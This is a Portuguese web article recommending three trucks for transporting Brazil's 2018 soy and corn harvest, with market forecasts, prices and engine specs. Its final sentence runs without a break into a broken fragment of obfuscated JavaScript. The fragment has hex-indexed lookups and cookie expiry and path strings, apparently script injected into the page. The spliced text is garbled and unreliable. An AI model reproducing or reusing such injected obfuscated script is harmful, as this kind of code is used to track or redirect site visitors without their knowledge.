Melhores caminhões para transporte de produção agrícola

O transporte no Brasil é pautado, quase que em sua totalidade, pelo tipo rodoviário. Isso significa que a grande maioria das transações importantes é feita pelas estradas e protagonizadas pelos caminhões. No entanto, com a atual crise econômica e política que nosso país vem apresentando há alguns anos, uma significativa diminuição no mercado de compras de novos veículos pesados pôde ser observada pelo mercado.

Apesar disso, o primeiro semestre de 2018 se mostrou bastante promissor em relação ao mercado de caminhões. O bom desempenho está sendo mostrado desde a segunda metade de 2017, e parece que tem tudo para se estabelecer em níveis maiores. Alguns especialistas mais otimistas dizem que o mercado brasileiro de venda de caminhões irá fechar o ano de 30% de crescimento na movimentação. Outros mais realistas ainda apontam bons números: um crescimento certo de 15% na comercialização desses veículos pesados.

O grande motivo para isso estar acontecendo é a quantidade de elementos agrícolas a serem transportados. A Safra 2018 vem com tudo e, apesar de apresentar uma pequena baixa em relação aos melhores anos do nosso país, o crescimento está voltando a ser uma realidade. Estão sendo projetada uma safra de aproximadamente 85 milhões de toneladas de milho e 112 milhões de toneladas de soja, os produtos mais presentes nessa época do ano.

Sendo assim, surge uma grande oportunidade para o condutor entrar nesse mercado de transporte agrícola e conseguir bons retornos financeiros. Por esse motivo, separamos para você os melhores caminhões para o transporte agrícola. Leia todo o artigo e saiba informações interessantes sobre cada um desses veículos pesados e suas especificações.

Lista 3 Melhores Caminhões para transporte de produção agrícola

– Volvo FH 540 Traçado:

Como vimos anteriormente, a safra de 2018, se falarmos apenas do milho e da soja, renderá aproximadamente 200 milhões de toneladas. Sendo assim, alguém precisa transporta-las, não é mesmo?

Com esse número tão grande, o ideal é escolher aqueles veículos que possuam alta potência, tendo em vista que as cargas a serem carregadas são altas. No grão é normal          que se use conjuntos de 9 eixos. Dessa forma, unindo essas duas informações, a melhor opção da Volvo é o FH 540.

O preço também pode ser um atrativo para a versão mais potente que, se 0km, custa um valor aproximado de R$ 473 mil, enquanto o menos potente, nas mesmas condições, custa um valor aproximado de R$ 464 mil, uma diferença mínima para muita potência.

– DAF XF 105 510 6×4:

Segundo Antenor Frasson Júnior, diretor de vendas da DAF, a velocidade média é importante sim para o transporte de cargas agrícolas, mas um fator é ainda mais definitivo para ser o melhor nesse serviço: o torque.

Por esse motivo, ele diz que o melhor modelo para esse tipo de serviço é, sem nenhuma dúvida, o XF 105 510 6×4, já que ele possui um torque de aproximadamente 255 mkgf e de uma variação nas rotações por minuto que vai de 1050 até 1410. Dessa forma, com o torque girando em baixa rotação, o motor terá mais elasticidade e maior força para arrancar nas estradas de terra das fazendas.

– MAN TGX 29.480 6×4:

Os dois últimos veículos são indicados para as médias distâncias, entre 1000 e 1500 km. Para as viagens mais longas, que irão do Norte ao Sul do Brasil e possuem mais de 2000 km, o caminhão mais indicado é o TGX 29.480 6×4.

A marcha de 16 velocidades pode dar mais facilidade ao motorista no momento de arranque, facilitando também a descoberta do ponto ideal, para que o veículo ande bem e consuma pouco combustível. A cabine desse caminhão é bastante aconchegante e espaçosa, o que favorece as viagens longas e dá mais conforto para o condutor do veículo.

Semelhantemente ao veículo do modelo anterior, o TGX 29.480 6×4 também possui um motor torque de baixa rotação, facilitando a arrancada em estradas de terras nos latifúndios do Brasil.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]